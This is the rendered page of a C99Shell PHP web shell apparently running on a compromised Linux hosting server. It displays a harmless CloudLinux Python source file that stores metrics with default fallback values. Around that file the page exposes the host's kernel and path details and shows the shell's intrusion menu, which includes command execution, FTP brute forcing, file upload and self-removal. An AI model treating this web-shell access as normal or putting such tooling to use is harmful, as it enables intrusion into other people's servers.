!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/opt/cloudlinux/venv/lib/python3.11/site-packages/clsummary/   drwxr-xr-x
Free 982.3 GB of 1859.98 GB (52.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     storage.py (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
import logging
import typing

T = typing.TypeVar('T')

logger = logging.getLogger("cloudlinux-summary")


class StatisticsDict(dict):
    """
    Special class to store all metrics before sending it
    """

    # a few values which should be return if we can't collect statistic for something module
    DEFAULT_RESULTS = {
        "str": "-42",
        "int": -42,
        "float": -42.0,
        "str_list": ["-42"],
        "int_list": [-42],
        "int_dict": {
            "-42": -42,
        },
        "float_dict": {
            "-42": -42.0,
        },
        "str_dict": {
            "-42": "-42",
        },
        # Special default result.
        # Only for collecting of statistics about client's rpm packages
        "rpm_stat_list": [],
    }

    def evaluate_safe(
            self,
            func: typing.Callable[..., T],
            log_message: str | None
    ) -> tuple[bool, T]:
        """
        Method for catching any exceptions while calling the passed function,
        logging them and returning None and success flag if an exception has been encountered.
        Returns a formatted result of the function call otherwise.

        :param func:
            function that should be called
        :param log_message:
            if given, it will be logged as exception message.
        """
        try:
            result = func()
        except Exception as err:
            if log_message:
                logger.exception(
                    '%s. Exception: "%s"',
                    log_message,
                    err,
                )
            return False, None

        return True, result

    def add_metric(
            self,
            func: typing.Callable[..., T],
            type_of_result: str,
            name_of_metric: str,
            log_message: str | None
    ) -> None:
        """
        Calls `evaluate_safe` and saves the result from it
        in the metric dictionary.

        :param log_message:
            if given, it will be logged as exception message.
        See method `evaluate_safe` for more details.
        """

        success, result = self.evaluate_safe(
            func,
            log_message,
        )

        if not success:
            result = self.DEFAULT_RESULTS[type_of_result]

        self[name_of_metric] = result

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0352 ]--